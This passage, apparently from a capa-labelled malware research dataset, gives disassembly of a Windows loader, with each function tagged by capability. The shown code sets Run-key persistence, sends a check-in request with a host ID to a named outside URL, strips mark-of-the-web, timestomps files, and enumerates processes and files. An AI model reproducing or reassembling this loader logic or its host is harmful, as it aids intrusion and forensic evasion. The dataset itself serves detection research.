joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b914
Capabilities:
Persist via run registry key

Disassembly:
mov eax, 0x424393
call fcn.00415558
sub esp, 0xc
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 4]
mov ecx, esi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x14], edi
call fcn.0040b417
mov eax, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [edi], eax
call fcn.00402fb0
test al, al
je 0x40ba2e
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CAutorunManager::CAutorunManager
push str._s_tLoading_HKLMRun_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
push 0x28
mov byte [ebp - 4], 1
call fcn.0041506d
add esp, 0x14
mov dword [ebp + 8], eax
mov byte [ebp - 4], 2
cmp eax, ebx
je 0x40b9a3
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
call fcn.00401d50
mov ecx, dword [ebp + 8]
push 0x80000002
call fcn.0040e132
jmp 0x40b9a5
xor eax, eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
mov ecx, esi
mov byte [ebp - 4], 1
call fcn.0040b6a3
mov dword [ebp - 4], ebx
push 0x28
mov byte [ebp - 4], 4
call fcn.0041506d
pop ecx
mov dword [ebp + 8], eax
mov byte [ebp - 4], 5
test eax, eax
je 0x40b9fc
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
call fcn.00401d50
mov ecx, dword [ebp + 8]
push 0x80000002
call fcn.0040e132
jmp 0x40b9fe
xor eax, eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
add ecx, 4
mov byte [ebp - 4], 4
call fcn.0040b6a3
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret 4
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str.CAutorunManager::CAutorunManager
push str._s_tLoading_HKCURun_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
push 0x28
mov byte [ebp - 4], 7
call fcn.0041506d
add esp, 0x14
mov dword [ebp + 8], eax
mov byte [ebp - 4], 8
cmp eax, ebx
je 0x40ba84
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
call fcn.00401d50
mov ecx, dword [ebp + 8]
push 0x80000001
call fcn.0040e132
jmp 0x40ba86
xor eax, eax
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
mov ecx, esi
mov byte [ebp - 4], 7
call fcn.0040b6a3
mov dword [ebp - 4], ebx
push 0x28
mov byte [ebp - 4], 0xa
call fcn.0041506d
pop ecx
mov dword [ebp + 8], eax
mov byte [ebp - 4], 0xb
test eax, eax
je 0x40badd
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.SOFTWAREMicrosoftWindowsCurrentVersionRunServices
call fcn.00401d50
mov ecx, dword [ebp + 8]
push 0x80000001
call fcn.0040e132
jmp 0x40badf
xor eax, eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp + 8], eax
lea eax, [ebp + 8]
push eax
add ecx, 4
mov byte [ebp - 4], 0xa
call fcn.0040b6a3
jmp 0x40ba14
Function at 0x40cbaf
Capabilities:
Set registry value

Disassembly:
mov eax, 0x4244b4
call fcn.00415558
sub esp, 0x74
push ebx
push esi
mov esi, ecx
push esi
lea ecx, [ebp - 0x34]
call fcn.0040c6fd
xor ebx, ebx
cmp dword [esi + 0x58], 0x10
mov dword [ebp - 4], ebx
mov dword [ebp - 0x14], ebx
jb 0x40cbdc
mov eax, dword [esi + 0x44]
jmp 0x40cbdf
lea eax, [esi + 0x44]
lea ecx, [ebp - 0x14]
push ecx
push 2
push ebx
push eax
push dword [esi + 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40cd54
mov eax, dword [esi + 0x34]
mov eax, dword [eax]
add esi, 0x1c
push esi
push eax
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x10], ebx
call fcn.0040c8eb
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x20], eax
mov eax, dword [esi + 0x18]
push esi
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040c8eb
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040a923
test al, al
jne 0x40cd4b
push edi
inc dword [ebp - 0x10]
push 5
lea eax, [ebp - 0x1c]
push ebx
push eax
call fcn.004044f0
add esp, 0xc
push ebx
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x68], 0xf
call fcn.004021c0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.004046c0
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.004046c0
lea ecx, [ebp - 0x24]
mov byte [ebp - 4], 3
call fcn.0040c74b
mov edi, dword [eax + 0x14]
lea ecx, [ebp - 0x24]
call fcn.0040c74b
cmp dword [eax + 0x18], 0x10
jb 0x40cc97
mov eax, dword [eax + 4]
jmp 0x40cc9a
add eax, 4
push edi
push eax
lea ecx, [ebp - 0x4c]
call fcn.00404870
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x64]
call fcn.00404fa0
mov ecx, eax
mov byte [ebp - 4], 4
call fcn.0040c864
lea ecx, [ebp - 0x64]
mov byte [ebp - 4], 3
call fcn.0040a5b0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x10]
call fcn.00404520
pop ecx
pop ecx
lea ecx, [ebp - 0x40]
call fcn.00404810
push eax
lea ecx, [ebp - 0x40]
call fcn.00404800
push eax
push 3
push ebx
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.0040a5b0
lea ecx, [ebp - 0x4c]
mov byte [ebp - 4], 1
call fcn.0040a5b0
push ebx
push 1
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], bl
call fcn.00401f00
lea ecx, [ebp - 0x24]
call fcn.0040c7db
mov eax, dword [esi + 0x18]
push esi
push eax
lea ecx, [ebp - 0x2c]
call fcn.0040c8eb
lea eax, [ebp - 0x2c]
push eax
lea ecx, [ebp - 0x24]
call fcn.0040a923
test al, al
je 0x40cc3b
pop edi
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ecx]
or dword [ebp - 4], 0xffffffff
call dword [eax + 8]
mov ecx, dword [ebp - 0xc]
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40d941
Capabilities:
Query or enumerate registry value

Disassembly:
mov eax, 0x42457e
call fcn.00415558
sub esp, 0x474
push ebx
push esi
mov esi, ecx
push esi
lea ecx, [ebp - 0x48]
call fcn.0040c6fd
lea ecx, [esi + 0x1c]
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0x24], ecx
call fcn.0040d1c2
cmp dword [esi + 0x58], 0x10
mov dword [ebp - 0x1c], ebx
jb 0x40d97c
mov eax, dword [esi + 0x44]
jmp 0x40d97f
lea eax, [esi + 0x44]
lea ecx, [ebp - 0x1c]
push ecx
push 1
push ebx
push eax
push dword [esi + 0x3c]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dad9
mov esi, dword [sym.imp.ADVAPI32.dll_RegEnumValueA]
mov byte [ebp - 0xd], bl
mov dword [ebp - 0x18], ebx
lea eax, [ebp - 0x14]
push eax
push ebx
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x480]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x20], 0x400
push dword [ebp - 0x1c]
mov dword [ebp - 0x14], ebx
call esi
test eax, eax
jne 0x40dac3
lea ecx, [ebp - 0x34]
call fcn.004046c0
push ebx
push dword [ebp - 0x14]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 1
call fcn.00404740
lea eax, [ebp - 0x14]
push eax
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x20], 0x400
call fcn.00404800
push eax
push ebx
push ebx
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x480]
push eax
push dword [ebp - 0x18]
push dword [ebp - 0x1c]
call esi
push dword [ebp - 0x14]
lea ecx, [ebp - 0x34]
mov dword [ebp - 0x28], eax
call fcn.00404820
cmp dword [ebp - 0x28], ebx
jne 0x40dab3
cmp dword [ebp - 0x14], ebx
je 0x40dab3
lea ecx, [ebp - 0x40]
call fcn.004046c0
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x34]
push eax
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 2
call fcn.00404fa0
mov ecx, eax
mov byte [ebp - 4], 3
call fcn.0040c82a
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 2
call fcn.0040a5b0
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x40]
call fcn.004048e0
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x80]
mov byte [ebp - 4], 4
call fcn.00401d90
mov ecx, dword [ebp - 0x24]
push eax
mov byte [ebp - 4], 5
call fcn.0040d89a
xor ecx, ecx
inc ecx
push ebx
mov dword [eax], ecx
push ecx
lea ecx, [ebp - 0x80]
call fcn.00401f00
push ebx
push 1
lea ecx, [ebp - 0x64]
call fcn.00401f00
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 1
call fcn.0040a5b0
inc dword [ebp - 0x18]
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], bl
call fcn.0040a5b0
jmp 0x40dac7
mov byte [ebp - 0xd], 1
cmp byte [ebp - 0xd], bl
je 0x40d9a4
push dword [ebp - 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x44]
mov eax, dword [ecx]
or dword [ebp - 4], 0xffffffff
call dword [eax + 8]
mov ecx, dword [ebp - 0xc]
pop esi
mov al, 1
pop ebx
mov dword fs:[0], ecx
leave
ret
Function at 0x40dc4b
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
lea eax, [ebp - 0xc]
push eax
push 1
xor ebx, ebx
push ebx
push dword [ebp + 0xc]
mov byte [ebp - 1], bl
push dword [ebp + 8]
mov dword [ebp - 0xc], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40dcdd
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea eax, [ebp - 8]
push eax
push ebx
push ebx
push ebx
push dword [ebp + 0x10]
mov dword [ebp - 8], ebx
push dword [ebp - 0xc]
call esi
cmp dword [ebp - 8], ebx
je 0x40dcdc
push dword [ebp - 8]
call fcn.00404480
pop ecx
lea ecx, [ebp - 8]
push ecx
push eax
push ebx
push ebx
push dword [ebp + 0x10]
mov dword [ebp - 0x10], eax
push dword [ebp - 0xc]
call esi
test eax, eax
jne 0x40dcd3
mov esi, dword [ebp - 8]
cmp esi, dword [ebp + 0x18]
jb 0x40dcb9
mov esi, dword [ebp + 0x18]
push edi
mov edi, dword [ebp + 0x14]
dec esi
push esi
push dword [ebp - 0x10]
push edi
call fcn.004044c0
add esp, 0xc
mov byte [esi + edi], bl
mov byte [ebp - 1], 1
pop edi
push dword [ebp - 0x10]
call fcn.004044a0
pop ecx
pop esi
cmp dword [ebp - 0xc], ebx
pop ebx
je 0x40dcec
push dword [ebp - 0xc]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, byte [ebp - 1]
leave
ret

Function at 0x40dcf1
Capabilities:
Delete file
Download url
Receive data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x83c
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 4], esp
push 0x429364
call fcn.00401d50
lea eax, [ebp - 0x3c]
push eax
call fcn.004050d0
add esp, 0x20
cmp dword [eax + 0x18], 0x10
jb 0x40dd23
mov eax, dword [eax + 4]
jmp 0x40dd26
add eax, 4
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x43c]
push 5
push str.http:__waldes.in_httpss_ldr123.php_v_dstep_dhostid_s
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
lea ecx, [ebp - 0x3c]
call fcn.00401250
xor eax, eax
push eax
push eax
push 0x400
lea ecx, [ebp - 0x83c]
push ecx
lea ecx, [ebp - 0x43c]
push ecx
push eax
call sub.urlmon.dll_URLDownloadToCacheFileA
test eax, eax
jl 0x40dd77
lea eax, [ebp - 0x83c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
leave
ret
Function at 0x40dd79
Capabilities:
Check mutex on windows

Disassembly:
mov eax, 0x424607
call fcn.00415558
sub esp, 0x180
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
push 1
call fcn.0040dcf1
mov dword [esp], 0x103
xor edi, edi
lea eax, [ebp - 0x18b]
push edi
push eax
mov byte [ebp - 0x18c], 0
call fcn.004157f0
add esp, 0xc
push 0x104
lea eax, [ebp - 0x18c]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov dword [ebp - 4], edi
call fcn.004012a0
push 2
mov ecx, eax
call fcn.00401310
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push 0x429364
call fcn.00401d50
lea eax, [ebp - 0x88]
push eax
call fcn.004050d0
add esp, 0x20
cmp dword [eax + 0x18], 0x10
mov byte [ebp - 4], 1
jb 0x40de0a
mov esi, dword [eax + 4]
jmp 0x40de0d
lea esi, [eax + 4]
call fcn.004012a0
push esi
lea ecx, [ebp - 0x18c]
push ecx
push str.Startup_loader___s___hostid___s_
push eax
call fcn.00401330
add esp, 0x10
lea ecx, [ebp - 0x88]
call fcn.00401250
push edi
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x18], 0xf
call fcn.004021c0
mov byte [ebp - 4], 2
call fcn.00402fb0
lea ecx, [ebp - 0x30]
test al, al
je 0x40de5a
push str.RUNA
jmp 0x40de5f
push str.RUNU
call fcn.00401ed0
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push str.LDR_
call fcn.00401d50
lea eax, [ebp - 0x88]
push eax
call fcn.004050d0
add esp, 0x20
push 0xffffffffffffffff
push edi
add eax, 0x1c
push eax
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], 3
call fcn.00402520
lea ecx, [ebp - 0x88]
mov byte [ebp - 4], 2
call fcn.00401250
cmp dword [ebp - 0x18], 0x10
mov eax, dword [ebp - 0x2c]
jae 0x40deb3
lea eax, [ebp - 0x2c]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
mov dword [ebp - 0x14], eax
call fcn.004012a0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
call esi
push eax
mov edi, str.WinMain
push edi
push str._s_tWaiting_for_mutex_tGLE:_08x
push ebx
call fcn.00401330
add esp, 0x10
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 2
call fcn.0040dcf1
pop ecx
call fcn.004012a0
mov ebx, eax
call esi
push eax
push edi
push str._s_tMutex_owned__creating_loader_object_tGLE:_08x
push ebx
call fcn.00401330
add esp, 0x10
push 0xdc
call fcn.0041506d
pop ecx
mov ecx, eax
mov dword [ebp - 0x34], ecx
mov byte [ebp - 4], 4
test ecx, ecx
je 0x40df2c
call fcn.0040f971
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
push 1
lea ecx, [ebp - 0x30]
call fcn.00401f00
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
xor eax, eax
mov dword fs:[0], ecx
pop ebx
leave
ret 0x10
Function at 0x40e372
Capabilities:
Enumerate threads
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
xor ebx, ebx
push ebx
push 4
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x40e38f
xor al, al
jmp 0x40e400
push edi
push 6
pop ecx
xor eax, eax
lea edi, [ebp - 0x1c]
rep stosd dword es:[edi], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x20], 0x1c
call sub.KERNEL32.dll_Thread32First
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40e3f8
push esi
mov eax, dword [ebp - 0x14]
cmp eax, dword [ebp + 8]
jne 0x40e3e5
push dword [ebp - 0x18]
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov esi, eax
push esi
cmp byte [ebp + 0xc], bl
je 0x40e3dc
call dword [sym.imp.KERNEL32.dll_ResumeThread]
jmp 0x40e3e2
call dword [sym.imp.KERNEL32.dll_SuspendThread]
push esi
call edi
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 4]
call sub.KERNEL32.dll_Thread32Next
test eax, eax
jne 0x40e3b8
mov bl, 1
pop esi
push dword [ebp - 4]
call edi
mov al, bl
pop edi
pop ebx
leave
ret

Function at 0x40e403
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.PSAPI.DLL_EnumProcesses
test eax, eax
jne 0x40e41c
leave
ret
mov eax, dword [ebp - 4]
shr eax, 2
leave
ret

Function at 0x40ee01
Capabilities:
Enumerate process modules

Disassembly:
push ebp
mov ebp, esp
mov ecx, dword [ebp + 0xc]
sub esp, 0x10c
push ebx
push edi
xor ebx, ebx
call fcn.0040e68d
mov ecx, dword [ebp + 0x10]
call fcn.0040e68d
push dword [ebp + 8]
push ebx
push 0x410
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov edi, eax
cmp edi, ebx
je 0x40eeaf
lea eax, [ebp - 8]
push eax
push 4
lea eax, [ebp - 4]
push eax
push edi
call sub.PSAPI.DLL_EnumProcessModules
test eax, eax
je 0x40eea8
push esi
mov esi, 0x104
push esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
push edi
call sub.PSAPI.DLL_GetModuleFileNameExA
test eax, eax
je 0x40ee71
mov ecx, dword [ebp + 0xc]
lea eax, [ebp - 0x10c]
push eax
call fcn.00401ed0
push esi
lea eax, [ebp - 0x10c]
push eax
push dword [ebp - 4]
push edi
call sub.PSAPI.DLL_GetModuleBaseNameA
pop esi
test eax, eax
je 0x40ee96
mov ecx, dword [ebp + 0x10]
lea eax, [ebp - 0x10c]
push eax
call fcn.00401ed0
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x14], ebx
je 0x40eea8
mov eax, dword [ebp + 0x10]
cmp dword [eax + 0x14], ebx
je 0x40eea8
mov bl, 1
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
mov al, bl
pop ebx
leave
ret
Function at 0x40fcd7
Capabilities:
Bypass mark of the web
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push dword [ebp + 8]
lea eax, [ebp - 0x104]
push str._s:Zone.Identifier
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
leave
ret

Function at 0x40fdb4
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
cmp dword [eax + 0x18], 0x10
push esi
push edi
mov byte [ebp - 1], bl
jb 0x40fdd0
mov eax, dword [eax + 4]
jmp 0x40fdd3
add eax, 4
mov esi, dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
mov edi, 0x80
push edi
push 3
push ebx
push 1
push 0x80000000
push eax
call esi
mov dword [ebp + 8], eax
cmp eax, 0xffffffff
je 0x40fe5a
lea ecx, [ebp - 0xc]
push ecx
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetFileTime]
test eax, eax
je 0x40fe51
mov eax, dword [ebp + 0xc]
cmp dword [eax + 0x18], 0x10
jb 0x40fe1a
mov eax, dword [eax + 4]
jmp 0x40fe1d
add eax, 4
push ebx
push edi
push 3
push ebx
push 2
push 0x40000000
push eax
call esi
mov esi, eax
cmp esi, 0xffffffff
je 0x40fe51
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetFileTime]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov byte [ebp - 1], 1
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, byte [ebp - 1]
pop edi
pop esi
pop ebx
leave
ret
Function at 0x41007d
Capabilities:
Terminate process

Disassembly:
mov eax, 0x424944
call fcn.00415558
sub esp, 0x164
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
call fcn.00401d30
mov esi, 0x104
xor ebx, ebx
push esi
lea eax, [ebp - 0x170]
push ebx
push eax
mov dword [ebp - 4], ebx
call fcn.004157f0
add esp, 0xc
push esi
lea eax, [ebp - 0x170]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, dword [ebp - 0x14]
lea eax, [ebp - 0x170]
push eax
call fcn.00401ed0
push 0x426dc0
lea ecx, [ebp - 0x34]
call fcn.00401d50
sub esp, 0x1c
lea eax, [ebp - 0x170]
mov ecx, esp
mov dword [ebp - 0x10], esp
push eax
mov byte [ebp - 4], 1
call fcn.00401d50
lea eax, [ebp - 0x50]
push eax
call fcn.004028b0
lea eax, [ebp - 0x50]
push eax
lea eax, [ebp - 0x6c]
push eax
mov byte [ebp - 4], 2
call fcn.0040a3a0
add esp, 0x28
push 0xffffffffffffffff
push ebx
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 3
call fcn.00402520
push ebx
push 1
lea ecx, [ebp - 0x6c]
mov byte [ebp - 4], 2
call fcn.00401f00
cmp dword [ebp - 0x1c], 0x10
mov edi, dword [ebp - 0x30]
jae 0x41013e
lea edi, [ebp - 0x30]
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
push eax
push edi
mov edi, str.CSpreadingManager::CSpreadingManager
push edi
push str._s_tChecking_event_is__s_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
mov eax, dword [ebp - 0x30]
add esp, 0x14
cmp dword [ebp - 0x1c], 0x10
jae 0x41016d
lea eax, [ebp - 0x30]
push eax
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_OpenEventA]
mov dword [ebp - 0x10], eax
cmp eax, ebx
je 0x4101da
call esi
push eax
push edi
push str._s_tGot_checking_event_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
add esp, 0x10
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetEvent]
call esi
push eax
push edi
push str._s_tEvent_set__terminating_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
add esp, 0x10
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
call esi
push eax
push edi
push str._s_tTerminated_tGLE:_08x
call fcn.004012a0
push eax
call fcn.00401330
add esp, 0x10
call fcn.00402fb0
push 0x5c
test al, al
je 0x41020f
call fcn.0041506d
pop ecx
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 4
cmp eax, ebx
je 0x410241
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.SOFTWAREMicrosoftMediaPlayerSetupFiles
call fcn.00401d50
push 0x80000002
jmp 0x410237
call fcn.0041506d
pop ecx
mov dword [ebp - 0x10], eax
mov byte [ebp - 4], 5
cmp eax, ebx
je 0x410241
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push str.SoftwareMicrosoftNetDDEDDE_Trusted_SharesTrusted_files
call fcn.00401d50
push 0x80000001
mov ecx, dword [ebp - 0x10]
call fcn.0040d79f
jmp 0x410243
xor eax, eax
mov ecx, dword [ebp - 0x14]
push ebx
mov dword [ecx + 0x1c], eax
push 1
lea ecx, [ebp - 0x50]
call fcn.00401f00
push ebx
push 1
lea ecx, [ebp - 0x34]
call fcn.00401f00
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x14]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x410b32
Capabilities:
Enumerate processes

Disassembly:
mov eax, 0x4249c7
call fcn.00415558
sub esp, 0x14c
push ebx
xor ebx, ebx
push esi
mov dword [ebp - 0x10], ebx
mov ecx, dword [ebp + 8]
push edi
mov dword [ebp - 4], ebx
call fcn.0040b417
xor esi, esi
push ebx
inc esi
push 2
mov dword [ebp - 4], ebx
mov dword [ebp - 0x10], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
lea eax, [ebp - 0x158]
push eax
push edi
mov dword [ebp - 0x158], 0x128
call sub.KERNEL32.dll_Process32First
jmp 0x410bde
push dword [ebp - 0x150]
lea eax, [ebp - 0x30]
push eax
call fcn.00410271
pop ecx
pop ecx
mov dword [ebp - 4], esi
cmp dword [ebp - 0x1c], ebx
je 0x410bc4
push esi
sub esp, 0x1c
lea eax, [ebp - 0x30]
mov ecx, esp
mov dword [ebp - 0x14], esp
push eax
call fcn.00401d90
call fcn.004102da
add esp, 0x20
cmp al, bl
je 0x410bc4
mov ecx, dword [ebp + 8]
lea eax, [ebp - 0x30]
push eax
call fcn.00403350
push ebx
push esi
lea ecx, [ebp - 0x30]
mov byte [ebp - 4], bl
call fcn.00401f00
lea eax, [ebp - 0x158]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x410b81
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp + 8]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret
Function at 0x410bf4
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
mov eax, 0x424a04
call fcn.00415558
sub esp, 0x1c0
push ebx
push esi
push edi
mov dword [ebp - 0x14], ecx
xor edi, edi
inc edi
cmp dword [ebp + 0x1c], 2
mov dword [ebp - 4], edi
jae 0x410c1d
xor esi, esi
jmp 0x410dd9
lea eax, [ebp + 8]
push eax
lea ecx, [ebp - 0x34]
call fcn.00401d90
mov eax, dword [ebp - 0x20]
dec eax
push eax
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 2
call fcn.004032b0
cmp byte [eax], 0x5c
je 0x410c4c
push 0x4295dc
lea ecx, [ebp - 0x34]
call fcn.00403f00
lea eax, [ebp + 0x28]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x70]
push eax
call fcn.00402460
add esp, 0xc
cmp dword [eax + 0x18], 0x10
jb 0x410c6b
mov eax, dword [eax + 4]
jmp 0x410c6e
add eax, 4
lea ecx, [ebp - 0x1cc]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
xor esi, esi
push esi
push edi
lea ecx, [ebp - 0x70]
mov dword [ebp - 0x10], eax
call fcn.00401f00
cmp dword [ebp - 0x10], 0xffffffff
je 0x410dcf
test byte [ebp - 0x1cc], 0x10
lea eax, [ebp - 0x1a0]
je 0x410d19
push 0x426dd8
push eax
call fcn.00415f90
pop ecx
pop ecx
test eax, eax
je 0x410dae
lea eax, [ebp - 0x1a0]
push 0x426dd4
push eax
call fcn.00415f90
pop ecx
pop ecx
test eax, eax
je 0x410dae
sub esp, 0x1c
lea eax, [ebp + 0x28]
mov ecx, esp
mov dword [ebp - 0x38], esp
push eax
call fcn.00401d90
push dword [ebp + 0x24]
lea ecx, [ebp - 0x1a0]
sub esp, 0x1c
mov eax, esp
mov dword [ebp - 0x18], esp
push ecx
lea ecx, [ebp - 0x34]
push ecx
push eax
mov byte [ebp - 4], 3
call fcn.00403c90
mov ecx, dword [ebp - 0x14]
add esp, 0xc
mov byte [ebp - 4], 2
call fcn.00410bf4
jmp 0x410dae
mov ebx, dword [ebp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea ecx, [ebp - 0x1a0]
sub ecx, ebx
sub esp, 0x1c
add eax, ecx
mov ecx, esp
mov dword [ebp - 0x18], esp
push eax
call fcn.00401d50
lea eax, [ebp - 0x54]
push eax
call fcn.004028b0
add esp, 0x20
lea eax, [ebp - 0x54]
push eax
lea ecx, [ebp + 0x28]
mov byte [ebp - 4], 4
call fcn.00406390
test eax, eax
je 0x410d6c
push 0x426dd0
lea ecx, [ebp + 0x28]
call fcn.00403320
test eax, eax
jne 0x410da0
lea eax, [ebp - 0x1a0]
push eax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x8c]
push eax
call fcn.00403c90
add esp, 0xc
mov ecx, dword [ebp + 0x24]
push eax
mov byte [ebp - 4], 5
call fcn.00403350
push esi
push edi
lea ecx, [ebp - 0x8c]
call fcn.00401f00
push esi
push edi
lea ecx, [ebp - 0x54]
mov byte [ebp - 4], 2
call fcn.00401f00
lea eax, [ebp - 0x1cc]
push eax
